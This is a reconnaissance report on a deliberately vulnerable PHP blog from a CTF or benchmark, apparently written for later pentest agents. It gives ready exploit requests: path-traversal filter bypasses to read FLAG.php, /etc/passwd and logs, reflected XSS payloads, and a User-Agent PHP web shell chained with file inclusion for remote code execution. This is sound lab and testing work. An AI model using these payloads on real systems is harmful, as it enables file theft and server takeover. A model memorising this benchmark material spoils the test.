# Reconnaissance Deliverable: Encoder64 Blog

## 0) HOW TO READ THIS
This reconnaissance report provides a comprehensive map of the Encoder64 Blog application's attack surface, structured for downstream vulnerability analysis specialists.

**Key Findings at a Glance:**
- **Primary Attack Vector:** Local File Inclusion (LFI) in `/post.php?id=` parameter
- **Secondary Attack Vector:** Reflected XSS in contact form (3 input fields)
- **Authentication:** None - all endpoints publicly accessible
- **Authorization:** None - no access controls exist
- **Technology Stack:** PHP 7.4.33 on Apache 2.4.54 (Debian), stateless architecture

**For Injection Analysis Specialist:**
- **Critical LFI Source:** See Section 9 - post.php:11 with bypassable path traversal filter
- **XSS Sources:** See Section 9 - contact.php lines 66, 71, 76
- **No SQL/Command Injection:** Application uses flat-file storage, no database or shell commands

**For Authorization Analysis Specialist:**
- **No Authorization System:** See Section 7 - completely absent, all endpoints public
- **No Roles/Privileges:** No authentication or authorization architecture exists
- **Section 8 Analysis:** Not applicable - no authorization to test

**For SSRF Analysis Specialist:**
- **No SSRF Vectors:** Application uses local file operations only, no external HTTP requests
- Pre-recon analysis confirms `allow_url_include = Off` prevents URL-based file inclusion

**Priority Testing Order:**
1. LFI exploitation in post.php (Section 9, Source #1) - path to FLAG.php
2. XSS exploitation in contact.php (Section 9, XSS sources)
3. Log poisoning chain (writable Apache logs + LFI = potential RCE)

## 1. Executive Summary

The Encoder64 Blog is a simple PHP 7.4-based blog application running on Apache 2.4.54 within a Docker container. The application serves as a CTF challenge environment with intentionally vulnerable code patterns. From an attack surface perspective, the application exposes 4 primary HTTP endpoints, all publicly accessible without authentication.

**Core Technology Stack:**
- **Frontend:** Bootstrap 5.3.0 (CDN-hosted CSS/JS)
- **Backend:** PHP 7.4.33 (End-of-Life, no security patches)
- **Web Server:** Apache 2.4.54 on Debian 11
- **Database:** None - flat-file JSON storage
- **Authentication:** None present

**Primary Attack Vectors:**
1. **Local File Inclusion (CRITICAL)** - `/post.php?id=` parameter with bypassable path traversal filter enabling arbitrary file read including `/FLAG.php`
2. **Reflected XSS (HIGH)** - Contact form fields (`name`, `email`, `message`) reflected without sanitization
3. **Log Poisoning Chain (HIGH)** - World-writable Apache logs (0777) + LFI = potential RCE

**Security Posture:**
The application demonstrates severe architectural security deficiencies including complete absence of authentication/authorization mechanisms, minimal input validation, and critical file inclusion vulnerabilities. The security model is appropriate for a CTF challenge but would be catastrophic for production deployment.

**Target Objective (CTF Context):**
Extract flag from `/FLAG.php` using the LFI vulnerability in post.php by bypassing weak path traversal sanitization.

## 2. Technology & Service Map

### Frontend
- **Framework:** Bootstrap 5.3.0 (CSS/JS from cdn.jsdelivr.net)
- **JavaScript:** Vanilla JavaScript in sidebar.php for client-side visitor counter (fake data)
- **HTML5:** Standard semantic HTML
- **No SPA Framework:** No React/Vue/Angular
- **No WebSockets:** No real-time features

### Backend
- **Language:** PHP 7.4.33 (Released Nov 2022, **End-of-Life**, no security updates)
- **Framework:** None - Vanilla PHP (no Laravel, Symfony, CodeIgniter)
- **Architecture:** Flat file structure, procedural programming style
- **Session Management:** None - completely stateless
- **API:** No formal API endpoints - traditional server-side rendering
- **Key Libraries:** None - no Composer dependencies

### Infrastructure
- **Web Server:** Apache 2.4.54 (Debian)
- **Operating System:** Debian 11 (Bullseye) in Docker container
- **Containerization:** Docker with docker-compose orchestration
- **Hosting:** Localhost deployment on port 34461 (mapped from container port 80)
- **Database:** None - uses posts.json flat file for content metadata
- **CDN:** jsdelivr.net for Bootstrap assets
- **Reverse Proxy:** None detected (direct Apache access)

### Identified Subdomains
From subfinder scan (likely false positives for localhost):
- sbs.allsaintsschool.localhost
- server02.counterintel.localhost
- mse-ca-mail.corp.mse.localhost
- mail02.regency.localhost
- exchvm.nwcnet.localhost
- autodiscover.regency.localhost
- server2.hunter.localhost
- mail.regency.localhost
- naeu2.naeuinc.localhost
- fndlync01.5ninesdata.localhost
- mail.localhost
- autodiscover.localhost
- mail03.regency.localhost
- www.localhost
- tools.sonoma.edu.localhost
- owa.regency.localhost

**Note:** These subdomains are not relevant to the attack surface as the application is a single-host Docker container accessed via localhost:34461.

### Open Ports & Services
From nmap scan:
- **Port 80 (HTTP)** - Caddy httpd (reverse proxy in front of application)
- **Port 443 (HTTPS)** - SSL/HTTPS (no certificate validation observed)
- **Port 631** - CUPS 2.3 (printing service, not application-related)
- **Port 8888** - SimpleHTTPServer with exposed .git directory (development artifact)
- **Port 9999** - tcpwrapped (unknown service)
- **Port 49152** - Golang net/http server (Tailscale, requires auth)

**Primary Application Access:** http://localhost:34461 (mapped to container port 80)

## 3. Authentication & Session Management Flow

### Entry Points
**NONE - No authentication system exists**

After comprehensive source code analysis, the application contains:
- ❌ No login endpoints
- ❌ No registration endpoints
- ❌ No password reset flows
- ❌ No OAuth/SSO integrations
- ❌ No API key mechanisms
- ❌ No session management

### Mechanism
**NOT APPLICABLE - Authentication is completely absent**

The application treats all HTTP requests as equally privileged with no user identity tracking:
- No `session_start()` calls in any PHP file
- No `$_SESSION` variable usage
- No cookies set by application (no `setcookie()` calls)
- No JWT/bearer token generation or validation
- No password hashing functions (`password_hash`, `password_verify`)
- No authentication-related files (no login.php, auth.php, etc.)

### Code Pointers
**No authentication code exists in the codebase**

Files analyzed:
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/index.php` - Public blog listing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/post.php` - Public post viewer
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php` - Public contact form
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/about.php` - Public about page

All endpoints are publicly accessible without any authentication checks.

### 3.1 Role Assignment Process
**NOT APPLICABLE - No role system exists**

- **Role Determination:** N/A
- **Default Role:** All visitors treated identically as anonymous users
- **Role Upgrade Path:** N/A
- **Code Implementation:** No role-related code exists

### 3.2 Privilege Storage & Validation
**NOT APPLICABLE - No privilege system exists**

- **Storage Location:** N/A
- **Validation Points:** No authorization checks anywhere in codebase
- **Cache/Session Persistence:** N/A - stateless architecture
- **Code Pointers:** No privilege validation code exists

### 3.3 Role Switching & Impersonation
**NOT APPLICABLE - No user identity system exists**

- **Impersonation Features:** None
- **Role Switching:** None
- **Audit Trail:** None
- **Code Implementation:** N/A

## 4. API Endpoint Inventory

All discovered network-accessible endpoints:

| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer |
|--------|---------------|---------------|----------------------|-------------------------|----------------------------|
| GET | /index.php or / | anon | page (optional) | None | Blog listing with pagination. Reads posts.json, displays 5 posts per page. See `/app/website/index.php:3-78` |
| GET | /post.php | anon | id (required) | None | **VULNERABLE** - Blog post viewer with LFI. Dynamically includes PHP files from posts/ directory. Weak path traversal filter (bypassable). See `/app/website/post.php:4-11` |
| GET | /contact.php | anon | None | None | Contact form display (GET renders form). See `/app/website/contact.php:45-96` |
| POST | /contact.php | anon | name, email, message (POST body) | None | **VULNERABLE** - Contact form submission. Validates empty fields only, echoes input without encoding (XSS). Does NOT save/send data. See `/app/website/contact.php:7-33, 66, 71, 76` |
| GET | /about.php | anon | None | None | Static about page describing "Encoder64" character. See `/app/website/about.php:1-62` |

**Key Observations:**
- All endpoints accept anonymous access (no authentication required)
- No admin endpoints discovered
- No API routes (no /api/* paths)
- Contact form does NOT persist data (no email sending, no database storage)
- post.php vulnerable to Local File Inclusion via ?id= parameter

## 5. Potential Input Vectors for Vulnerability Analysis

All network-accessible user input points with exact file locations:

### URL Parameters (GET)
1. **page** - `/app/website/index.php:10`
   - Purpose: Pagination control
   - Validation: Type cast to integer `(int)$_GET['page']`
   - Security: SECURE - integer casting prevents injection
   
2. **id** - `/app/website/post.php:4`
   - Purpose: Post filename for dynamic inclusion
   - Validation: Weak blacklist - `str_replace(['../', './', '..\\', '.\\'], '', $post_id)`
   - Security: **CRITICAL VULNERABILITY** - bypassable with `....//` encoding
   - Sink: `include($file_to_include)` on line 11

### POST Body Fields
3. **name** - `/app/website/contact.php:12`
   - Purpose: Contact form name field
   - Validation: `trim()` only, checks if empty
   - Security: **VULNERABLE** - reflected XSS, output line 66 without `htmlspecialchars()`
   
4. **email** - `/app/website/contact.php:19`
   - Purpose: Contact form email field
   - Validation: `trim()` only, checks if empty (NO email format validation)
   - Security: **VULNERABLE** - reflected XSS, output line 71 without `htmlspecialchars()`
   
5. **message** - `/app/website/contact.php:26`
   - Purpose: Contact form message field
   - Validation: `trim()` only, checks if empty
   - Security: **VULNERABLE** - reflected XSS, output line 76 without `htmlspecialchars()`

### HTTP Headers
6. **User-Agent** (implicit) - Logged to Apache access.log
   - Purpose: Standard HTTP header
   - Validation: None
   - Security: **POTENTIAL RISK** - logs are world-writable (chmod 0777), can be used for log poisoning + LFI chain
   - Log location: `/var/log/apache2/access.log`

### Cookie Values
**NONE** - Application does not read or set any cookies

### Server Variables
7. **$_SERVER["PHP_SELF"]** - `/app/website/contact.php:63`
   - Purpose: Form action URL
   - Validation: `htmlspecialchars()` applied
   - Security: SECURE - properly encoded

### Additional Input Sources
8. **File Inclusion Path** - `/app/website/post.php:8`
   - Computed from: `"posts/" . $post_id`
   - Flows to: `include()` on line 11
   - Security: **CRITICAL** - user-controlled include statement

## 6. Network & Interaction Map

### 6.1 Entities

| Title | Type | Zone | Tech | Data | Notes |
|-------|------|------|------|------|-------|
| ExternalUser | ExternAsset | Internet | Browser | Public | Any internet user accessing the blog |
| Encoder64Blog | Service | App | PHP 7.4/Apache 2.4 | PII (contact form), Public (blog content) | Main application container |
| Apache | Service | Edge | Apache 2.4.54 | Logs | Web server serving PHP application |
| posts.json | DataStore | App | JSON flat file | Public | Blog metadata storage |
| PostPHPFiles | DataStore | App | PHP files (7 files) | Public | Blog post content storage |
| FLAG.php | DataStore | App | PHP file | Secrets | CTF flag target file |
| AccessLogs | DataStore | App | Apache logs | Logs, PII | World-writable logs at /var/log/apache2/access.log |
| BootstrapCDN | ThirdParty | Internet | jsdelivr.net CDN | Public | CSS/JS assets |

### 6.2 Entity Metadata

| Title | Metadata |
|-------|----------|
| Encoder64Blog | Hosts: `http://localhost:34461`; Endpoints: `/index.php`, `/post.php`, `/contact.php`, `/about.php`; Auth: None; Dependencies: Apache, posts.json, PostPHPFiles; DocRoot: `/var/www/html/` |
| Apache | Version: `Apache 2.4.54 (Debian)`; Modules: `mod_rewrite`, `mod_php`; Logs: `/var/log/apache2/access.log` (0777), `/var/log/apache2/error.log`; Port: 80 (HTTP only, no HTTPS) |
| posts.json | Path: `/var/www/html/posts.json`; Format: JSON array; Size: 7 posts; Permissions: 644 (world-readable); Accessed-By: index.php via file_get_contents() |
| PostPHPFiles | Path: `/var/www/html/posts/*.php`; Count: 7 files; Permissions: 644; Accessed-By: post.php via include() (LFI vector) |
| FLAG.php | Path: `/FLAG.php` (container root, outside webroot); Format: `<?php $FLAG ?>`; Permissions: Unknown; Target: LFI exploitation |
| AccessLogs | Path: `/var/log/apache2/access.log`; Permissions: **0777 (world-writable)** - CRITICAL; Format: Apache Combined Log Format; Risk: Log poisoning vector |
| BootstrapCDN | URL: `cdn.jsdelivr.net`; Assets: Bootstrap 5.3.0 CSS/JS; SRI: **NOT IMPLEMENTED** (missing integrity hashes); Risk: CDN compromise potential |

### 6.3 Flows (Connections)

| FROM → TO | Channel | Path/Port | Guards | Touches |
|-----------|---------|-----------|--------|---------|
| ExternalUser → Apache | HTTPS | :34461 → :80 | None | Public |
| ExternalUser → BootstrapCDN | HTTPS | :443 | None | Public |
| Apache → Encoder64Blog | PHP-FPM | Internal | None | Public, PII |
| Encoder64Blog → posts.json | File I/O | file_get_contents() | None | Public |
| Encoder64Blog → PostPHPFiles | File I/O | include() | path-filter:weak | Public |
| Encoder64Blog → FLAG.php | File I/O | include() (via LFI) | path-filter:bypassable | Secrets |
| Encoder64Blog → AccessLogs | File I/O | Apache logging | None | Logs, PII |

### 6.4 Guards Directory

| Guard Name | Category | Statement |
|------------|----------|-----------|
| None | Auth | No authentication exists in application |
| path-filter:weak | Input Validation | Single-pass str_replace() removing directory traversal sequences - BYPASSABLE with `....//` |
| path-filter:bypassable | Input Validation | Same as path-filter:weak - easily circumvented with double encoding |
| trim-only | Input Validation | Only whitespace trimming applied to contact form inputs - NO XSS protection |
| int-cast | Input Validation | Type casting to integer for pagination - SECURE against injection |
| htmlspecialchars | Output Encoding | Applied to posts.json data and PHP_SELF - SECURE against XSS |
| no-encoding | Output Encoding | Contact form reflects input without encoding - VULNERABLE to XSS |

**Note:** The application has minimal security guards. Most endpoints operate without meaningful security controls.

## 7. Role & Privilege Architecture

### 7.1 Discovered Roles

**NONE FOUND**

After exhaustive source code analysis:
- No role definitions exist in code, comments, or variable names
- No role-related database fields (no database exists)
- No role-based constants or enumerations
- No authentication system to assign roles

| Role Name | Privilege Level | Scope/Domain | Code Implementation |
|-----------|-----------------|--------------|---------------------|
| anon (implicit) | 0 | Global | All users treated as anonymous - no code distinction |

### 7.2 Privilege Lattice

**NOT APPLICABLE**

No privilege hierarchy exists:
```
All Users = Anonymous = Full Access to All Public Endpoints
```

No authentication system means no concept of:
- Authenticated vs. unauthenticated users
- Admin vs. regular users  
- Owner vs. visitor
- Any privilege levels or escalation paths

### 7.3 Role Entry Points

| Role | Default Landing Page | Accessible Route Patterns | Authentication Method |
|------|---------------------|---------------------------|----------------------|
| anon | `/` or `/index.php` | All endpoints: `/`, `/index.php`, `/post.php`, `/contact.php`, `/about.php` | None |

### 7.4 Role-to-Code Mapping

**NOT APPLICABLE**

No role-related code exists:
- No middleware or guards
- No permission checks
- No role storage (no sessions, database, or JWT claims)

## 8. Authorization Vulnerability Candidates

**NOT APPLICABLE - No Authorization System Exists**

This section is typically used to identify privilege escalation and authorization bypass opportunities. However, the Encoder64 Blog application has **zero authorization controls**:

- ❌ No authentication mechanism
- ❌ No session management
- ❌ No role-based access control
- ❌ No permission checks
- ❌ No protected endpoints

**Security Implication:**
The complete absence of authorization is itself the primary security issue. All functionality and content is publicly accessible without any access controls.

### 8.1 Horizontal Privilege Escalation Candidates
**NOT APPLICABLE** - No user identity or ownership concepts exist

### 8.2 Vertical Privilege Escalation Candidates
**NOT APPLICABLE** - No privilege levels exist to escalate between

### 8.3 Context-Based Authorization Candidates
**NOT APPLICABLE** - No multi-step workflows or context-sensitive operations

**Note for Authorization Analysis Specialist:**
No authorization testing is required for this application. Focus should shift to other vulnerability types (LFI, XSS) documented in Section 9.

## 9. Injection Sources

### Command Injection
**NONE FOUND**

- No command execution functions in codebase
- Searched for: `exec()`, `system()`, `shell_exec()`, `passthru()`, `proc_open()`, `popen()`, backticks
- Application uses only file I/O operations, no shell commands

### SQL Injection
**NONE FOUND**

- No database connections (no mysqli, PDO, or legacy mysql_* functions)
- Application uses flat-file JSON storage (posts.json)
- No SQL queries anywhere in codebase

### Local File Inclusion (LFI) - **CRITICAL**

#### SOURCE #1: post.php Dynamic File Inclusion

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/post.php:11`

**Severity:** **CRITICAL**

**Complete Data Flow:**
```
USER INPUT: $_GET['id'] from URL (e.g., /post.php?id=ScriptKiddie.php)
    ↓
Line 4: $post_id = $_GET['id'];
    ↓
Line 5: $posts_path = "posts/";
    ↓
Line 7: $post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id);
    ↓ [WEAK FILTER - SINGLE PASS REPLACEMENT]
Line 8: $file_to_include = $posts_path . $post_id;
    ↓
Line 10: if (file_exists($file_to_include)) {
    ↓
Line 11: include($file_to_include); [DANGEROUS SINK]
    ↓
Lines 22, 34, 37: Output variables from included file (with htmlspecialchars)
Line 51: Output $post_content (WITHOUT htmlspecialchars) [SECONDARY XSS RISK]
```

**Validation Present:**
```php
$post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id);
```

**Why It's Bypassable:**
The `str_replace()` function performs a **single-pass replacement**. Nested directory traversal sequences bypass the filter:

**Bypass Technique:**
```
Input:  ....//....//....//....//FLAG.php
After str_replace: ../../FLAG.php
Final path: posts/../../FLAG.php → /FLAG.php
```

**Exploitation Vectors:**

1. **Read FLAG.php (Primary CTF Objective):**
   ```
   GET /post.php?id=....//....//FLAG.php
   ```

2. **Read Apache access logs (Log Poisoning Chain):**
   ```
   GET /post.php?id=....//....//....//....//var/log/apache2/access.log
   ```

3. **Read system files:**
   ```
   GET /post.php?id=....//....//....//....//etc/passwd
   ```

4. **PHP Wrapper Exploitation:**
   ```
   GET /post.php?id=....//....//php://filter/convert.base64-encode/resource=index.php
   ```

**Impact:**
- Read arbitrary files on server
- Potential Remote Code Execution via log poisoning (User-Agent injection + LFI)
- Information disclosure of configuration files, source code, system files
- Access to FLAG.php containing CTF flag

**Code Context:**
```php
// post.php lines 4-11
$post_id = $_GET['id'];
$posts_path = "posts/";
// Remove any attempts to include directories
$post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id);
$file_to_include = $posts_path . $post_id;

if (file_exists($file_to_include)) {
    include($file_to_include);
}
```

### Path Traversal
**Same as LFI SOURCE #1** - The path traversal vulnerability is exploited through the file inclusion mechanism documented above.

### Server-Side Template Injection (SSTI)
**NONE FOUND**

- No template engines (Smarty, Twig, Blade) in use
- No `eval()`, `assert()`, or `create_function()` functions
- Application uses simple PHP echo statements

### Deserialization
**NONE FOUND**

- No `unserialize()` calls in codebase
- `json_decode()` used only on trusted static file (posts.json), not user input
- No YAML parsing or other deserialization functions

### Cross-Site Scripting (XSS) - **HIGH**

#### SOURCE #2: Contact Form Name Field

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php:66`

**Severity:** **HIGH**

**Data Flow:**
```
USER INPUT: $_POST['name']
    ↓
Line 9: Check if empty(trim($_POST["name"]))
Line 12: $name = trim($_POST["name"]);
    ↓ [ONLY WHITESPACE TRIMMING - NO XSS PROTECTION]
Line 66: <input type="text" name="name" value="<?php echo $name; ?>">
    ↓ [NO htmlspecialchars() ENCODING]
OUTPUT: Reflected XSS in HTML attribute context
```

**Exploitation:**
```
POST /contact.php
name="><script>alert(document.cookie)</script><input value="
email=test@test.com
message=test
```

**Rendered HTML:**
```html
<input type="text" name="name" value=""><script>alert(document.cookie)</script><input value="">
```

#### SOURCE #3: Contact Form Email Field

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php:71`

**Severity:** **HIGH**

**Data Flow:**
```
USER INPUT: $_POST['email']
    ↓
Line 16: Check if empty(trim($_POST["email"]))
Line 19: $email = trim($_POST["email"]);
    ↓ [ONLY WHITESPACE TRIMMING - NO EMAIL VALIDATION]
Line 71: <input type="email" name="email" value="<?php echo $email; ?>">
    ↓ [NO htmlspecialchars() ENCODING]
OUTPUT: Reflected XSS in HTML attribute context
```

**Exploitation:**
```
POST /contact.php
name=John
email="><img src=x onerror=alert(1)>
message=test
```

#### SOURCE #4: Contact Form Message Field

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php:76`

**Severity:** **HIGH**

**Data Flow:**
```
USER INPUT: $_POST['message']
    ↓
Line 23: Check if empty(trim($_POST["message"]))
Line 26: $message = trim($_POST["message"]);
    ↓ [ONLY WHITESPACE TRIMMING]
Line 76: <textarea name="message"><?php echo $message; ?></textarea>
    ↓ [NO htmlspecialchars() ENCODING]
OUTPUT: Reflected XSS in HTML element content context
```

**Exploitation:**
```
POST /contact.php
name=John
email=test@test.com
message=</textarea><script>alert(document.domain)</script><textarea>
```

**Impact of XSS Vulnerabilities:**
- Cookie theft (though no session cookies exist in this application)
- Defacement
- Phishing attacks
- JavaScript execution in victim's browser
- Potential for stored XSS if combined with LFI to include poisoned log files

### Secondary Injection Vector: Log Poisoning + LFI Chain

**Severity:** **HIGH** (requires chaining two vulnerabilities)

**Attack Chain:**
```
1. Poison Apache access.log with PHP code via User-Agent header
   ↓
2. Exploit LFI to include access.log
   ↓
3. Apache executes PHP code from log file → RCE
```

**Step 1: Log Poisoning**
```
GET /index.php HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
```

**Step 2: LFI to Include Log**
```
GET /post.php?id=....//....//....//....//var/log/apache2/access.log&cmd=whoami
```

**Why This Works:**
- Apache logs are world-writable (chmod 0777) per Dockerfile:16
- User-Agent is logged to access.log without sanitization
- LFI includes and executes the log file as PHP
- Result: Remote Code Execution

### Injection Summary Table

| Injection Type | Source Parameter | File:Line | Severity | Exploitability |
|----------------|------------------|-----------|----------|----------------|
| **LFI** | $_GET['id'] | post.php:11 | **CRITICAL** | Direct exploitation - bypass filter with `....//` |
| **XSS** | $_POST['name'] | contact.php:66 | **HIGH** | Direct exploitation - no encoding on output |
| **XSS** | $_POST['email'] | contact.php:71 | **HIGH** | Direct exploitation - no encoding on output |
| **XSS** | $_POST['message'] | contact.php:76 | **HIGH** | Direct exploitation - no encoding on output |
| **RCE Chain** | User-Agent + LFI | access.log + post.php | **HIGH** | Requires chaining - poison logs then LFI |
| SQL Injection | N/A | N/A | NONE | No database |
| Command Injection | N/A | N/A | NONE | No command execution |
| SSTI | N/A | N/A | NONE | No template engines |

### Recommendations for Downstream Analysis

**For Injection Analysis Specialist:**
1. **Priority 1:** Exploit LFI in post.php to read FLAG.php
2. **Priority 2:** Test XSS in all three contact form fields
3. **Priority 3:** Attempt log poisoning + LFI chain for RCE
4. **Skip:** SQL/Command/SSTI testing (not applicable)

**For XSS Analysis Specialist:**
1. Focus on contact.php lines 66, 71, 76
2. Test all XSS contexts (attribute, element content, textarea)
3. Note: No CSP headers implemented, all XSS should execute
4. Secondary: Test XSS via LFI-included malicious post files

**For Auth/Authz Analysis Specialists:**
- No testing required - no authentication or authorization systems exist